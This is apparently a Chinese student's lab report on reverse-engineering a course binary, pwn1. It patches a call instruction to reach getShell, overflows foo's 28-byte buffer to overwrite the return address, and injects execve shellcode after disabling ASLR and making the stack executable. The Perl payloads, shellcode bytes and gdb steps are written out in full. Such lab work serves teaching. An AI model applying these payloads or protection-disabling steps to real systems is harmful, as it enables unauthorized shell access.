2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解
1. 实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
pwn1文件包含以下三个函数:
- main函数:用于调用foo函数。
- foo函数:回显任何用户输入的字符串。
- getShell函数:返回一个可用Shell。
本次实验的三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
2 实验要求
2.1 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:0x90
JNE:0x75
JE:0x74
CMP:0x39
JMP
- Short Jump(短跳转):0xEB
- Near Jump(近跳转):0xE9
- Far Jump(远跳转):0xEA
2.2 掌握反汇编与十六进制编程器
反汇编:objdump -d xxx | more
十六进制编程器Perl:perl -e 'print "xxx"' > input
2.3 能正确修改机器指令改变程序执行流程
具体过程见实验步骤3.1
2.4 能正确构造payload进行bof攻击
具体过程见实验步骤3.3
3. 实践步骤
3.1 直接修改程序机器指令,改变程序执行流程
Step1:下载目标文件pwn1,并进行反汇编。
反汇编并分页显示objdump -d pwn1 | more
查找到getShell函数/getShell
可以看到getShell、foo、main三个函数的内存地址机器指令和汇编指令
Step2:计算修改内容
图中main函数调用foo函数call 8048491
对应机器指令为e8d7ffffff
- 其中
e8
为call
的机器指令 call
=push IP
+jmp near ptr
ffffffd7 + 80484ba = 8048491
为foo函数的地址
所以计算getShell地址的跳转804847d - 80484ba = ffffffc3
即将对应的机器指令改为e8 c3 ff ff ff
Step3:修改可执行文件
cp pwn1 pwn2
做一个拷贝
vi pwn2
对pwn2进行修改
:%!xxd
以16进制的方式查看
/d7
寻找需要修改的内容
r
为单个修改
:%!xxd -r
转回原格式
wq
保存退出
重新反汇编可以看到已经改成了call getShell
Step4:运行尝试
运行成功。
3.2通过输入参数造成BOF攻击,改变程序执行流
Step1:反汇编查看缓冲区漏洞
可以看到foo函数预留了0x1c=28字节的缓冲区,所以超出部分将会溢出到其余内存空间,我们的目的是将getShell的内存地址存到EIP中。
如下图:
于是可以确认我们需要将getShell的内存地址放在第33~36字节处。
Step2:输入尝试
输入1111111122222222333333334444444412345678
40个字节
新开一个端口使用gdb调试
运行后info r
查看寄存器内容
可以看到IP的值为0x34333231
所以要将getShell的值反向存入33-36字节,即\x7d\x84\x04\x08
Step3:构造及输入
perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' > input
构造的字符存入input文件中
\x0a为回车符;“>”为输出重定向
xxd input
以16进制形式查看input内容
(cat input; cat) | ./pwn1
将input通过管 道符“|”,输入至pwn1中
可以看到攻击成功了
发现一个问题是无法进行密码验证,暂时不知道如何解决。
3.3 注入Shellcode并执行
Step1:准备一段Shellcode
本次实验shellcode参考博客Shellcode入门
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
Step2:准备工作
- 安装execstack
sudo apt-get install execstack
sudo execstack -s pwn1
设置堆栈可执行sudo execstack -q pwn1
more /proc/sys/kernel/randomize_va_space
查看地址随机化状态echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化(过程中发现sudo无法执行,需要先sudo -s
进入root权限more /proc/sys/kernel/randomize_va_space
再次查看地址随机化状态
Step3:构造注入的payload
采取retaddr+nop+shellcode
的方式
nop为滑行区可以滑行到shellcode上
perl -e 'print "A" x 32; print "\x31\x32\x33\x34\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90x\00"' > input_shellcode
- 首先要进入到IP寄存器的内容,输入32字节的任意内容
- 然后四位为地址,暂定为
\x01\x02\x03\x04
- 再输入滑行区
- 最后是shellcode
- 最后一位
\x00
不能为\x0a
回车符,因为要进行gdb调试
Step4:GDB调试
-
注入运行
(cat input_shellcode; cat) | ./pwn1
-
不要敲回车打开另一个终端
-
查看pwn1进程号
ps -ef | grep pwn1
进程号2540
-
进入gdb调试进程
attach 2540
-
查看foo进程地址
disassemble foo
-
在
ret
(0x080484ae)处设置断点break *0x080484ae
-
在原终端敲回车,gdb中
c
继续 -
查看栈顶指针位置
info r esp
-
查看该位置(0xffffd71c)的数据
-
找到shellcode位置(0xffffd720)
-
调试结束
Step5:修改代码
perl -e 'print "A" x 32; print "\x20\xd7\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90x\00"' > input_shellcode
执行代码(cat input_shellcode;cat) | ./pwn1
4 问题及思考
4.1 实验收获
学习了栈的溢出攻击的简单原理,实验步骤完全按照老师给的说明和视频讲解,在应用过程中学习了怎样寻找进程号,怎样寻找代码的内存地址。
4.3 什么是漏洞?漏洞有什么危害?
漏洞是系统中的弱点
攻击者可以通过漏洞获取权限进行越权操作
4.2 问题
- 为什么在getShell中无法认证密码
- 我是在64位系统中操作的,不知道有什么区别
- 我用两台虚拟机模拟网络攻击失败,跟一个Ubuntu一个Kali有关系么